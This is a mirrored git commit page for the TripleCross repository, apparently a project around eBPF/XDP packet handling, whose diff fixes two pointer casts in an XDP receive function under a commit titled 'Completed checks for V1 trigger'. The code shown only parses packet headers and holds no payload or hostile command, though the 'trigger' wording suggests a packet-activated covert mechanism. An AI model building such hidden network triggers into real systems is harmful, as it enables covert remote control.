mirror of
https://github.com/h3xduck/TripleCross.git
synced 2026-01-01 22:13:08 +08:00
Completed checks for V1 trigger
This commit is contained in:
@@ -55,8 +55,8 @@ SEC("xdp_prog")
|
||||
int xdp_receive(struct xdp_md *ctx){
|
||||
//bpf_printk("BPF triggered\n");
|
||||
|
||||
void *data_end = (void *)(__u32)ctx->data_end;
|
||||
void *data = (void *)(__u32)ctx->data;
|
||||
void *data_end = (void *)(long)ctx->data_end;
|
||||
void *data = (void *)(long)ctx->data;
|
||||
|
||||
unsigned int payload_size;
|
||||
struct ethhdr *eth = data;
|
||||
|
||||
Reference in New Issue
Block a user